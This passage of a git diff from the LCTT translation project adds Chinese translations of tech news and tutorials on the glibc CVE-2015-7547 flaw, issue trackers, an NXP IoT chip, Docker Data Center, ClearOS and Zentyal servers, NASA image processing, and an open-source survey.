问题。进一步的研究表明, glibc 有缺陷而且该崩溃可能实现任意远程代码执行的条件。 + +谷歌在一篇博客文章中写道, “当 getaddrinfo() 库函数被使用时,glibc 的 DNS 客户端解析器易受基于堆栈缓冲区溢出的攻击,使用该功能的软件可能通过攻击者控制的域名、攻击者控制的 DNS [域名系统] 服务器,或通过中间人攻击方式(MITM)进行破坏。” + +其实利用 CVE-2015-7547 问题并不简单,但它是可能的。为了证明这个问题能被利用,谷歌发布了论证一个终端用户或系统是否易受攻击的概念验证(POC)代码到 GitHub 上。 + +GitHub 上的 POC 网页说“服务器代码会触发漏洞,因此会使客户端代码崩溃”。 + +Duo Security 公司的高级安全研究员 Mark Loveless 解释说 CVE-2015-7547 的主要风险在于依赖于 DNS 响应的基于 Linux 客户端的应用程序。 + +Loveless 告诉 eWEEK “需要一些特定的条件,所以不是每个应用程序都会受到影响,但似乎一些命令行工具,包括流行的 SSH[安全 Shell] 客户端都可能触发该漏洞,我们认为这是严重的,主要是因为对 Linux 系统存在的风险,但也因为潜在的其他问题。” + +其他问题可能包括一种通过电子邮件触发调用易受攻击的 glibc 库 getaddrinfo() 攻击的风险。另外值得注意的是,该漏洞被发现之前已存在于代码之中多年。 + +谷歌的工程师不是第一或唯一发现这个 glibc 安全风险的团体。这个问题于 2015 年 7 月 13 日首先被报告给了 glibc 的 bug[跟踪系统](https://sourceware.org/bugzilla/show_bug.cgi?id=1866)。该缺陷的根源可以更进一步追溯到在 2008 五月发布的 glibc 2.9 的代码提交时首次引入缺陷。 + +Linux 厂商红帽也独立找到了 glibc 中的这个 bug,而且是在 2016 年 1 月 6 日,谷歌和红帽开发人员证实,他们作为最初与上游 glibc 的维护者私下讨论的部分人员,已经独立在为同一个漏洞工作。 + +红帽产品安全首席软件工程师 Florian Weimer 告诉 eWEEK “一旦确认了两个团队都在为同一个漏洞工作,我们会合作进行可能的修复,缓解措施和回归测试,我们还会共同努力,使测试覆盖尽可能广,捕捉代码中的任何相关问题,以帮助避免今后更多问题。” + +由于缺陷不明显或不易立即显现,我们花了几年时间才发现 glibc 代码有一个安全问题。 + +Weimer 说“要诊断一个网络组件的漏洞,如 DNS 解析器,当遇到问题时通常要看抓到的数据包的踪迹,在这种情况下这样的抓包不适用,所以需要一些实验来重现触发这个 bug 的确切场景。” + +Weimer 补充说,一旦可以抓取数据包,就会投入大量精力到验证修复程序中,最终完成回归测试套件一系列的改进,有助于上游 glibc 项目。 + +在许多情况下,安全增强式 Linux (SELinux) 的强制访问安全控制可以减少潜在漏洞风险,但是这个 glibc 的新问题例外。 + +Weimer 说“由于攻击者提供的任意代码的执行,会对很多重要系统功能带来风险。一个合适的 SELinux 策略可以遏制一些攻击者可能会做的损害,并限制他们访问系统,但是 DNS 被许多应用程序和系统组件使用,所以 SELinux 策略只提供了针对此问题有限的遏制。” + +在揭露漏洞的今天,现在有一个可用的补丁来减少 CVE-2015-7547 的潜在风险。 + +------------------------------------------------------------------------------ + +via: http://www.eweek.com/security/linux-systems-patched-for-critical-glibc-flaw.html + +作者:[Michael Kerner][a] +译者:[robot527](https://github.com/robot527) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]:https://twitter.com/TechJournalist diff --git a/published/201606/20160218 Top 4 open source issue tracking tools.md b/published/201606/20160218 Top 4 open source issue tracking tools.md new file mode 100644 index 0000000000..03435d1913 --- /dev/null +++ b/published/201606/20160218 Top 4 open source issue tracking tools.md @@ -0,0 +1,63 @@ +4 个顶级的开源问题跟踪管理工具 +======================================== + +生活充满了bug。 + +无论怎样小心计划,无论花多少时间去设计,在执行阶段实际执行时,任何工程都会有未知的问题。也无妨。也许对于任何一个组织的最佳弹性衡量不是他们如何一切都按计划运行地处理事情,而是,当出现磕磕碰碰时他们如何驾驭。 + +对任何一个项目管理流程来说,特别是在软件开发领域,都需要一个关键工具——问题跟踪管理系统。其基本功能很简单:可以对bug进行查看、追踪,并以协作的方式解决bug,有了它,我们更容易跟随整个过程的进展。除了基本功能,还有很多专注于满足特定需求的选项及功能,使用场景不仅限于软件开发。你可能已经熟悉某些托管版本的工具,像 [GitHub Issues](https://guides.github.com/features/issues/)或者[Launchpad](https://launchpad.net/),其中一些工具已经有了自己的开源社区。 + +接下来,这四个bug问题跟踪管理软件的极佳备选,全部开源、易于下载,自己就可以部署。先说好,我们可能没有办法在这里列出每一个问题跟踪工具;相反,我们列出这四个,原因基于是其丰富的功能和项目背后的社区规模。当然,肯定还有其他类似软件,如果你喜欢的没有列在这里,如果你有一个好的理由,一定要让我们知道,在下面的评论中使它脱颖而出吧。 + +## Redmine + +[Redmine](http://www.redmine.org/) 是一个很流行的追踪管理工具,基于Ruby on Rails构建,可以追溯到2006年。很多方面类似于Trac(另一个我们的最爱),Redmine可以管理多个项目,整合了多种版本控制系统。除了基本问题追踪,Redmine也提供论坛,wiki,时间跟踪工具,同时,它还具有生成甘特图表(Gantt charts)和日历的能力,用来跟踪项目的进展。 + +Redmine的设置相当灵活,支持多种数据库后端和几十种语言,还是可定制的,可以向问题(issue)、用户、工程等添加自定义字段。通过社区创建的插件和主题它可以进一步定制。 + +如果你想试一试,一个[在线演示](http://demo.redmine.org/)可提供使用。Redmine采用[GPL版本2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html)许可证;开源代码可以在工程的[svn仓库](https://svn.redmine.org/redmine)或在[GitHub](https://github.com/redmine/redmine)镜像上找到。 + +![](https://opensource.com/sites/default/files/images/business-uploads/issues-redmine.png) + +## Bugzilla + +[Bugzilla](https://www.bugzilla.org/)是另一个流行的具备问题跟踪能力的开发工具。从名字您可能已经猜到了,Bugzilla最初是[Mozilla基金会](https://www.mozilla.org/en-US/)创建的,用来跟踪当时称为网景通信套件中的bug。为了更好的可读性,它从原来的Tcl移植到Perl,Bugzilla是一个比较老,但却广泛采用的问题跟踪系统,它被用在许多著名的开源项目如GNOME、KDE,以及Linux内核本身。 + +从通知到重复bug检测再到搜索共享,Bugzilla拥有许多高级工具,是一个功能更丰富的选项。Bugzilla拥有一套高级搜索系统以及全面的报表工具,具有生成图表和自动化按计划生成报告的能力。像Redmine一样,Bugzilla是可扩展和可定制的,除了字段本身,还能针对bug创建自定义工作流。它也支持多种后端数据库,和自带的多语言支持。 + +Bugzilla采用[Mozilla公共许可证](https://en.wikipedia.org/wiki/Mozilla_Public_License),你可以读取他们的[未来路线图](https://www.bugzilla.org/status/roadmap.html)还有在官网尝试一个[示例服务](https://landfill.bugzilla.org/) + +![](https://opensource.com/sites/default/files/images/business-uploads/issues-bugzilla.png) + +## Trac + +[Trac](http://trac.edgewall.org/browser)自称是基于web的极简主义软件工程管理软件,这里请不要混淆极简主义与缺乏功能。 + +由python编写的Trac,将其漏洞跟踪能力与它的wiki系统和版本控制系统轻度整合。项目管理能力突出,如生成里程碑和路线图,一个可定制的报表系统,大事记,支持多资源库,内置的垃圾邮件过滤,还可以使用很多通用语言。如其他我们已经看到的漏洞追踪软件,有很多插件可进一步扩展其基本特性。 + +Trac以[改进的BSD许可协议](http://trac.edgewall.org/wiki/TracLicense)开源,虽然更老的版本发布在GPL下。你可以在一个[自托管仓库](http://trac.edgewall.org/browser)预览Trac的源码或者查看他们的[路线图](http://trac.edgewall.org/wiki/TracRoadmap)对未来的规划。 + +![](https://opensource.com/sites/default/files/images/business-uploads/issues-trac.png) + +## Mantis + +[Mantis](https://www.mantisbt.org/)是这次合集中我们将看到的最后一个工具,基于PHP,且有16年历史。作为另一个支持多种不同版本控制系统和事件驱动通知系统的bug跟踪管理软件,Mantis有一个与其他工具类似的功能设置。虽然它不本身包含wiki,但它整合了很多流行的wiki平台且本地化到多种语言。 + +Mantis使用[GPL版本2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html)开源许可证书;你可以在[GitHub](https://github.com/mantisbt/mantisbt)浏览他的源代码或查看自托管[路线图](https://www.mantisbt.org/bugs/roadmap_page.php?project=mantisbt&version=1.3.x)对未来的规划。一个示例,你可以查看他们的内部[漏洞跟踪](https://www.mantisbt.org/bugs/my_view_page.php)。 + +![](https://opensource.com/sites/default/files/images/business-uploads/issues-mantis.png) + +正如我们指出的,这四个不是唯一的选项。想要探索更多?[Apache Bloodhound](https://issues.apache.org/bloodhound/),[Fossil](http://fossil-scm.org/index.html/doc/trunk/www/index.wiki),[The Bug Genie](http://www.thebuggenie.com/),还有很多可替换品都有自己的忠实追随者,每个都有不同的优点和缺点。另外,一些工具在我们[项目管理](https://opensource.com/business/15/1/top-project-management-tools-2015)摘要有问题跟踪功能。所以,哪个是你首选的跟踪和碾压bug的工具? + + +------------------------------------------------------------------------------ + +via: https://opensource.com/business/16/2/top-issue-support-and-bug-tracking-tools + +作者:[Jason Baker][a] +译者:[wyangsun](https://github.com/wyangsun) +校对:[Mr小眼儿](https://github.com/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://opensource.com/users/jason-baker diff --git a/published/201606/20160221 NXP unveils a tiny 64-bit ARM processor for the Internet of Things.md b/published/201606/20160221 NXP unveils a tiny 64-bit ARM processor for the Internet of Things.md new file mode 100644 index 0000000000..d31ad4eaea --- /dev/null +++ b/published/201606/20160221 NXP unveils a tiny 64-bit ARM processor for the Internet of Things.md @@ -0,0 +1,38 @@ +NXP 发布了一块超小型物联网64位 ARM 处理器 +========================================================================= + + +![](http://1u88jj3r4db2x4txp44yqfj1.wpengine.netdna-cdn.com/wp-content/uploads/2016/02/nxp-930x556.jpg) + +[NXP 半导体][5]发布了一块声称世界上最小的用于物联网(IoT)的低功耗64位ARM处理器。 + +这片小型的QorIQ LS1012A为电池供电、大小受限的应用提供了网络级的安全和性能加速。这包括了运行物联网应用,或者任何智能及可连接的设备。如果物联网能在2020达到1.7万亿美金的潜力(由IDC研究员估算市场得出),那么它将需要像NXP这样的处理器,该处理器在德国纽伦堡的Embedded World 2016 上揭开了什么的面纱。 + +该芯片带有64位ARMv8芯片,拥有网络包加速及内置的安全。它占用9.6平方毫米的空间,并且大约消耗1瓦特的电力。潜在的应用包括下一代的物联网网关、可携带娱乐平台、高性能可携带存储应用、移动硬盘、相机的移动存储、平板及其他可充电的设备。 + +除此之外,LS1012A是第一款为最新兴起的基于对象的存储方案设计的处理器,基于对象存储通过智能硬盘直接连接到以太网数据中心。处理器必须足够小才能直接集成在硬盘的集成电路上。 + +NXP的高级副总裁及数字网络部的经理Tareq Bustami说:“突破性组合了低功耗、占用空间小及网络级性能的NXP LS1012处理器是消费者、物联网相关应用的理想选择。独有地将这些能力结合到一起解放了物联网设计者及开发者,使得他们可以在这个高增长的市场中设计并创造更多创新产品。” + +NXP说这是唯一一个1瓦特功耗、64位的、并将这些高速外设综合到一个芯片中的处理器,这意味着更低的系统级功耗。归功于创新性的封装,该处理器可以运用在低成本的电路板中。 + +NXP的LS1012A可以在2016年4月开始发货,并且现在可以订货。NXP在全球35个国家拥有超过4,5000名员工。 + +-------------------------------------------------------------------------------- + +via: http://venturebeat.com/2016/02/21/nxp-unveils-a-small-and-tiny-64-bit-arm-processor-for-the-internet-of-things/ + +作者:[DEAN TAKAHASHI][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://venturebeat.com/author/dean-takahashi/ +[1]:http://venturebeat.com/tag/arm/ +[2]:http://venturebeat.com/tag/internet-of-things/ +[3]:http://venturebeat.com/tag/nxp/ +[4]:http://venturebeat.com/tag/nxp-semiconductors/ +[5]:http://www.nxp.com/ + + diff --git a/published/201606/20160223 New Docker Data Center Admin Suite Should Bring Order to Containerization.md b/published/201606/20160223 New Docker Data Center Admin Suite Should Bring Order to Containerization.md new file mode 100644 index 0000000000..a2084582b3 --- /dev/null +++ b/published/201606/20160223 New Docker Data Center Admin Suite Should Bring Order to Containerization.md @@ -0,0 +1,48 @@ +新的 Docker 数据中心管理套件使容器化变得更加井然有序 +=============================================================================== + +![](https://tctechcrunch2011.files.wordpress.com/2016/02/shutterstock_119411227.jpg?w=738) + +[Docker][1]之前发布了一个新的容器控制中心,称为Docker数据中心(DDC),其设计目的是用于大型和小型企业创建、管理和分发容器的一个集成管理控制台。 + +DDC是由包括Docker Universal Control Plane(也是同时发布的)和Docker Trusted Registry等不同的商业组件组成。它也包括了开源组件比如Docker Engine。这个产品让企业在一个中心管理界面中就可以管理整个Docker化程序的生命周期。 + +负责产品管理的SVP Scott Johnston告诉TechCrunch:“客户催使了这个新工具的产生。公司不仅喜欢Docker给他们带来的敏捷性,它们也希望在创建和分发容器的过程中可以进行对安全和管理进行控制。” + +Johnston说:“公司称这个为容器即服务(Caas),主要是因为当客户来询问这种类型的管理面板时,他们是这样描述的。” + +![](https://tctechcrunch2011.files.wordpress.com/2016/02/screen-shot-2016-02-23-at-7-56-54-am.png?w=680&h=401) + +像许多开源项目那样,Docker首先获得了许多开发者的追随,但是随着它的流行,那些开发者们所在的公司也希望积极推进它的使用。 + +这就是DDC设计的目的。它给开发者创建容器化应用的敏捷性,也让运维变得井井有条。 + +实际上这意味着开发者可以创建一系列容器化的组件,将其部署后就可以访问一个完全认证的镜像库。这可以让开发人员用碎片组成应用而不必每次重新发明轮子。这可以加速应用的开发和部署(理论上提升了容器提供的灵活性)。 + +这方面吸引了Beta客户ADP。这个服务特别喜欢将这个提供给开发人员的中心镜像仓库。 + +ADP的CTO Keith Fulton在声明中称:“作为我们将关键业务微服务化倡议的一部分,ADP正在研究能够让开发人员可以利用IT审核过的中央库和安全的核心服务进行快速迭代的方案。” + +Docker在2010年由dotcloud的Solomon Hykes发布。他在2013年将公司的重心移到Docker上,并在[8月出售了dotCloud][2],2014年完全聚焦在Docker上。 + +根据CrunchBase的消息,公司几年来在5轮融资后势如破竹般获得了1亿8000万美元融资(自从成为Docker后获得了1亿6千8百万美元)。吸引投资者关注的是Docker提供了一种称为容器的现在分发应用的方式,可以构建、管理何分发分布式应用。 + +容器化可以让开发者创建由多个分布在不同服务器上的碎片组成的分布式应用,而不是一个运行在一个单独服务器上的独立应用。 + +DDC服务每月每节点150美金起。 + +-------------------------------------------------------------------------------- + +via: http://techcrunch.com/2016/02/23/new-docker-data-center-admin-suite-should-bring-order-to-containerization/ + +作者:[Ron Miller][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://techcrunch.com/author/ron-miller/ +[1]: https://www.docker.com/ +[2]: http://techcrunch.com/2014/08/04/docker-sells-dotcloud-to-cloudcontrol-to-focus-on-core-container-business/ + + diff --git a/published/201606/20160228 Two Outstanding All-in-One Linux Servers.md b/published/201606/20160228 Two Outstanding All-in-One Linux Servers.md new file mode 100644 index 0000000000..48370eca23 --- /dev/null +++ b/published/201606/20160228 Two Outstanding All-in-One Linux Servers.md @@ -0,0 +1,97 @@ +两个出色的一体化 Linux 服务器软件 +================================================ + +回到2000年那时,微软发布小型商务服务器(SBS:Small Business Server)。这个产品改变了很多人们对科技在商务领域的看法。你可以部署一个单独的服务器,它能处理邮件,日历,文件共享,目录服务,VPN,以及更多,而不是很多机器处理不同的任务。对很多小型公司来说,这是实实在在的好处,但是对于一些公司来说 Windows SMB 是昂贵的。对于另外一些人,根本不会考虑使用这种微软设计的单一服务器的想法。 + +对于后者也有替代方案。事实上,在 Linux 和开源领域里,你可以选择许多稳定的平台,它可以作为一站式服务商店服务于你的小型企业。如果你的小型企业有10到50员工,一体化服务器也许是你所需的理想方案。 + +这里,我将要展示两个 Linux 一体化服务器,你可以看看它们哪个能完美适用于你的公司。 + +记住,这些服务器不适用于(不管是哪种方式)大型商务或企业。大公司无法依靠一体化服务器,那是因为一台服务器不能负担得起企业所需的期望。也就是说,Linux 一体化服务器适合于小型企业。 + +### ClearOS + +[ClearOS][1] 最初发布于 2009 年,那时名为 ClarkConnect,是一个路由和网关的发行版。从那以后,ClearOS 增加了所有一体化服务器必要的特性。CearOS 提供的不仅仅是一个软件,你可以购买一个 [ClearBox 100][2] 或 [ClearBox 300][3]。这些服务器搭载了完整的 ClearOS,作为一个 IT 设备被销售。在[这里][4]查看特性比对/价格矩阵。 + +如果你已经有响应的硬件,你可以下载这些之一: + +- [ClearOS 社区版][5] — 社区(免费)版的 ClearOS +- [ClearOS 家庭版][6] — 理想的家庭办公室(详细的功能和订阅费用,见[这里][12]) +- [ClearOS商务][7] — 理想的小型企业(详细的功能和订阅费用,见[这里][13]) + +使用 ClearOS 能给你你带来什么?你得到了一个商业级的服务器,带有单一的精美 Web 界面。是什么让 ClearOS 从标准的服务器所提供的一大堆功能中脱颖而出?除了那些基础的部分,你可以从 [Clear 市场][8] 中增加功能。在这个市场里,你可以安装免费或付费的应用来扩展 ClearOS 服务器的特性。这里你可以找到支持 Windows 服务器活动目录,OpenLDAP,Flexshares,Antimalware,云,Web 访问控制,内容过滤等等很多的补充插件。你甚至可以找到一些第三方组件,比如谷歌应用同步,Zarafa 合作平台,卡巴斯基杀毒。 + +ClearOS 的安装就像其他的 Linux 发行版一样(基于红帽的 Anaconda 安装程序)。安装完成后,系统将提示您设置网络接口,这个地址用来供你的浏览器(需要与 ClearOS 服务器在同一个网络里)访问。地址格式如下: + + https://IP_OF_CLEAROS_SERVER:81 + +IP_OF_CLEAROS_SERVER 就是服务器的真实 IP 地址。注:当你第一次在浏览器访问这个服务器时,你将收到一个“Connection is not private”的警告。继续访问,以便你可以继续设置。 + +当浏览器最终连接上之后,就会提示你 root 用户认证(在初始化安装中你设置的 root 用户密码)。一通过认证,你将看到 ClearOS 的安装向导(图1) + +![](http://www.linux.com/images/stories/66866/jack-clear_a.png) + +*图1: ClearOS安装向导。* + +点击下一步按钮,开始设置你的 ClearOS 服务器。这个向导无需加以说明,在最后还会问你想用那个版本的 ClearOS。点击“社区”,“家庭”,或者“商业”。选择之后,你就被要求注册一个账户。创建了一个账户并注册了你的服务器后,你可以开始更新服务器,配置服务器,从市场添加模块(图2)。 + +![](http://www.linux.com/images/stories/66866/jack-clear_b.png) + +*图2: 从市场安装模块。* + +此时,一切准备就绪,可以开始深入挖掘配置你的 ClearOS 小型商务服务器了。 + +### Zentyal + +[Zentyal][10] 是一个基于 Ubuntu 的小型商务服务器,有段时期的名字是 eBox。Zentyal 提供了大量的服务器/服务来适应你的小型商务需求: + +- 电子邮件 — 网页邮件;支持原生的微软 Exchange 协议和活动目录;日历和通讯录;手机设备电子邮件同步;反病毒/反垃圾;IMAP,POP,SMTP,CalDAV,和 CardDAV 支持。 +- 域和目录 — 中央域目录管理;多个组织部门;单点登录身份验证;文件共享;ACL,高级域管理,打印机管理。 +- 网络和防火墙 — 支持静态和 DHCP 接口;对象和服务;包过滤;端口转发。 +- 基础设施 — DNS;DHCP;NTP;认证中心;VPN。 +- 防火墙 + +安装 Zentyal 很像Ubuntu服务器的安装,基于文本界面而且很简单:从安装镜像启动,做一些简单的选择,然后等待安装完成。当这个最初的基于文本的安装完成之后,就会显示桌面 GUI,提供选择软件包的向导程序。你可以选择所有你想安装的包,让安装程序继续完成这些工作。 + +最终,你可以通过网页界面来访问 Zentyal 服务器(浏览器访问 https://IP_OF_SERVER:8443 - 这里 IP_OF_SERVER是你的 Zentyal 服务器的局域网地址)或使用独立的桌面 GUI 程序来管理服务器(Zentyal 包括一个可以快速访问管理员和用户控制台的 Zentyal 管理控制台)。当真系统已经保存并启动,你将看到 Zentyal 面板(图3)。 + +![](http://www.linux.com/images/stories/66866/jack-zentyal_a.png) + +*图3: Zentyal活动面板。* + +这个面板允许你控制服务器所有方面,比如更新,管理服务器/服务,获取服务器的敏捷状态更新。您也可以进入组件区域,然后安装在部署过程中没有选择的组件或更新当前的软件包列表。点击“软件管理” > “系统更新”并选择你想更新的(图4),然后在屏幕最底端点击“更新”按钮。 + +![](http://www.linux.com/images/stories/66866/jack-zentyal_b.png) + +*图4: 更新你的Zentyal服务器很简单。* + +### 那个服务器适合你? + +回答这个问题要看你有什么需求。Zentyal 是一个不可思议的服务器,它可以很好的胜任你的小型商务网络。如果你需要更多,如群件,我觉得你可以试试 ClearOS。如果你不需要群件,其它的服务器也不错。 + +我强烈建议你安装一下这两个一体化的服务器,看看哪个更适合你的小公司。 + +------------------------------------------------------------------------------ + +via: http://www.linux.com/learn/tutorials/882146-two-outstanding-all-in-one-linux-servers + +作者:[Jack Wallen][a] +译者:[wyangsun](https://github.com/wyangsun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.linux.com/community/forums/person/93 +[1]: http://www.linux.com/learn/tutorials/882146-two-outstanding-all-in-one-linux-servers#clearfoundation-overview +[2]: https://www.clearos.com/products/hardware/clearbox-100-series +[3]: https://www.clearos.com/products/hardware/clearbox-300-series +[4]: https://www.clearos.com/products/hardware/clearbox-overview +[5]: http://mirror.clearos.com/clearos/7/iso/x86_64/ClearOS-DVD-x86_64.iso +[6]: http://mirror.clearos.com/clearos/7/iso/x86_64/ClearOS-DVD-x86_64.iso +[7]: http://mirror.clearos.com/clearos/7/iso/x86_64/ClearOS-DVD-x86_64.iso +[8]: https://www.clearos.com/products/purchase/clearos-marketplace-overview +[9]: https://ip_of_clearos_server:81/ +[10]: http://www.zentyal.org/server/ +[11]: https://ip_of_server:8443/ +[12]: https://www.clearos.com/products/clearos-editions/clearos-7-home +[13]: https://www.clearos.com/products/clearos-editions/clearos-7-business diff --git a/published/201606/20160304 Image processing at NASA with open source tools.md b/published/201606/20160304 Image processing at NASA with open source tools.md new file mode 100644 index 0000000000..983a5bf50e --- /dev/null +++ b/published/201606/20160304 Image processing at NASA with open source tools.md @@ -0,0 +1,80 @@ +在 NASA 使用开源工具进行图像处理 +================== + + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/nasa_spitzer_space_pink_spiral.jpg?itok=3XEUstkl) + +在刚结束的这个夏天里,我是 [NASA 格伦中心][1] [GVIS][2] 实验室的实习生,我将我对开源的热情带到了那里。我的任务是改进我们实验室对 Dan Schroeder 开发的一个开源流体动力学模拟器的贡献。原本的[模拟器][3]可以显示用户用鼠标绘制的障碍物,并建立计算流体动力学模型。我们团队的贡献是加入图像处理的代码,分析实况视频的每一帧以显示特定的物体如何与液体相互作用。而且,我们还要做更多事情。 + +我们想要让图像处理部分更加健壮,所以我致力于改善图像处理库。 + +得益于新的库,模拟器可以检测轮廓、进行空间坐标变换以及找到物体的质心。图像处理并不直接与流体动力学模拟器物理相关。它用摄像头检测物体,并且获取物体轮廓,为流体模拟器创建一个障碍物。随后,流体模拟器开始运行,而输出结果会被投射到真实物体上。 + +我的目标是通过以下三个方面改进模拟器: + +1. 找寻物体的轮廓 +2. 找寻物体的质心 +3. 能对物体中心进行相关的精确转换 + +我的导师建议我安装 [Node.js](http://nodejs.org/) 、 [OpenCV](http://opencv.org/) 和 [Node.js bindings for OpenCV](https://github.com/peterbraden/node-opencv)。在等待软件安装的过程中,我查看了 OpenCV 的 [GitHub 主页][4]上的示例源码。我发现示例源码使用 JavaScript 写的,而我还不懂 JavaScript ,所以我在 Codecademy 上学了一些课程。两天后,我对 JavaScript 依旧生疏,不过我还是开始了我的项目……它包含了更多的 JavaScript 。 + +检测轮廓的示例代码工作得很好。事实上,它使得我用几个小时就完成了第一个目标!获取一幅图片的轮廓,它看起来像这样: + +![](https://opensource.com/sites/default/files/resize/image_processing_nasa_1-520x293.jpg) + +*包括所有轮廓的原始图* + +检测轮廓的示例代码工作得有点好过头了。不仅物体的轮廓被检测到了,整个图片中的轮廓都检测到了。这会导致模拟器要与那些没用的轮廓打交道。这是一个严重的问题,因为它会返回错误的数据。为了避免模拟器接触到不想要的轮廓,我加了一个区域约束。轮廓要位于一定的区域范围内才会被画出来。区域约束使得轮廓变干净了。 + +![](https://opensource.com/sites/default/files/resize/image_processing_nasa_2-520x293.jpg) + +*过滤后的轮廓,包含了阴影轮廓* + +虽然无关的轮廓没有了,但是图像还有个问题。图像本该只有一个轮廓,但是它来回绕了自己两次,没有完整地圈起来。区域在这里不能作为决定因素,所以必须试试其他方式。 + +这一次,我不是直接去找寻轮廓,而是先将图片转换成二值图。二值图是转换之后只有黑白像素的图片。为了获取到二值图我先把彩色图转成灰度图。转换之后我再用阈值函数对图片进行处理。阈值函数遍历图片每个像素点的值,如果值小于 30 ,像素的颜色就会改成黑色。否则取反。在原始图片转换成二值图之后,结果变成这样: + +![](https://opensource.com/sites/default/files/resize/image_processing_nasa_3-520x293.jpg) + +*二值图* + +然后我获取了二值图的轮廓,结果是一个更干净的轮廓,没有了阴影轮廓。 + +![](https://opensource.com/sites/default/files/image_processing_nasa_4.jpg) + +*最后的干净轮廓* + +这个时候,我可以获取干净的轮廓、计算质心了。可惜的是,我没有足够的时间去完成质心的相关变换。由于我的实习时间只剩下几天了,我开始考虑我在这段有限时间内能做的其它事情。其中一个就是边界矩形。边界矩形是包含了图片轮廓的最小四边形。边界矩形很重要,因为它是在页面上缩放轮廓的关键。虽然很遗憾我没时间利用边界矩形做更多事情,但是我仍然想学习它,因为它是个很有用的工具。 + +最后,经过以上的努力,我完成了对图像的处理! + +![](https://opensource.com/sites/default/files/resize/image_processing_nasa_5-521x293.jpg) + +*最终图像,红色的边界矩形和质心* + +当这些图像处理代码写完之后,我用我的代码替代了模拟器中的老代码。令我意外的是,它可以工作。 + +嗯,基本可以。 + + + +( Youtube 演示视频) + +程序有内存泄露,每 1/10 秒泄露 100MB 。我很高兴不是因为我的代码。坏消息是我并不能修复它。另一个好消息是仍然有解决方法,虽然并非最理想的,但我可以使用。这个方法是不断检查模拟器使用的内存,当使用内存超过 1GB 时,重新启动模拟器。 + +在 NASA 实验室,我们会使用很多的开源软件,没有这些开源软件的帮助,我不可能完成这些工作。 + +------- + +via: [https://opensource.com/life/16/3/image-processing-nasa](https://opensource.com/life/16/3/image-processing-nasa) + +作者:[Lauren Egts](https://opensource.com/users/laurenegts) +译者:[willowyoung](https://github.com/willowyoung) +校对:[PurlingNayuki](https://github.com/PurlingNayuki) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[1]: http://www.nasa.gov/centers/glenn/home/index.html +[2]: https://ocio.grc.nasa.gov/gvis/ +[3]: http://physics.weber.edu/schroeder/fluids/ +[4]: https://github.com/peterbraden/node-opencv diff --git a/published/201606/20160510 65% of companies are contributing to open source projects.md b/published/201606/20160510 65% of companies are contributing to open source projects.md new file mode 100644 index 0000000000..46939a4e3a --- /dev/null +++ b/published/201606/20160510 65% of companies are contributing to open source projects.md @@ -0,0 +1,63 @@ +65% 的企业正致力于开源项目 +========================================================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/BUSINESS_openseries.png?itok=s7lXChId) + +今年 Black Duck 和 North Bridge 发布了第十届年度开源软件前景调查,来调查开源软件的发展趋势。今年这份调查的亮点在于,当前主流社会对开源软件的接受程度以及过去的十年中人们对开源软件态度的变化。 + +[2016 年的开源软件前景调查][1],分析了来自约3400位专家的反馈。今年的调查中,开发者发表了他们的看法,大约 70% 的参与者是开发者。数据显示,安全专家的参与人数呈指数级增长,增长超过 450% 。他们的参与表明,开源社区开始逐渐关注开源软件中存在的安全问题,以及当新的技术出现时确保它们的安全性。 + +Black Duck 的[年度开源新秀奖][2] 涉及到一些新出现的技术,如容器方面的 Docker 和 Kontena。容器技术这一年有了巨大的发展 ———— 76% 的受访者表示,他们的企业有一些使用容器技术的规划。而 59% 的受访者正准备使用容器技术完成大量的部署,从开发与测试,到内部与外部的生产环境部署。开发者社区已经把容器技术作为一种简单快速开发的方法。 + +调查显示,几乎每个组织都有开发者致力于开源软件,这一点毫不惊讶。当像微软和苹果这样的大公司将它们的一些解决方案开源时,开发者就获得了更多的机会来参与开源项目。我非常希望这样的趋势会延续下去,让更多的软件开发者无论在工作中,还是工作之余都可以致力于开源项目。 + +### 2016 年调查结果中的一些要点 + +#### 商业价值 + +* 开源软件是发展战略中的一个重要元素,超过 65% 的受访者使用开源软件来加速软件开发的进度。 +* 超过 55% 的受访者在生产环境中使用开源软件。 + +#### 创新的原动力 + +* 受访者表示,开源软件的使用让软件开发更加快速灵活,从而推进了创新;同时加速了软件推向市场的时间,也极大地减少了与上司沟通的时间。 +* 开源软件的优质解决方案,富有竞争力的特性,技术能力,以及可定制化的能力,也促进了更多的创新。 + +#### 开源商业模式与投资的激增 + +* 更多不同商业模式的出现给开源企业带来了前所未有的价值。这些价值并不依赖于云服务和技术支持。 +* 开源的私募融资在过去的五年内,已增长了将近四倍。 + +#### 安全和管理 + +一流的开源安全与管理实践的发展,也没有跟上人们使用开源不断增长的步伐。尽管备受关注的开源项目近年来爆炸式地增长,调查结果却指出: + +* 50% 的企业在选择和批准开源代码这方面没有出台正式的政策。 +* 47% 的企业没有正式的流程来跟踪开源代码,这就限制了它们对开源代码的了解,以及控制开源代码的能力。 +* 超过三分之一的企业没有用于识别、跟踪和修复重大开源安全漏洞的流程。 + +#### 不断增长的开源参与者 + +调查结果显示,一个活跃的企业开源社区,激励创新,提供价值,共享情谊: + +* 67% 的受访者表示,它们积极鼓励开发者参与开源项目。 +* 65% 的企业正致力于开源项目。 +* 约三分之一的企业有专门为开源项目设置的全职岗位。 +* 59% 的受访者参与开源项目以获得竞争优势。 + +Black Duck 和 North Bridge 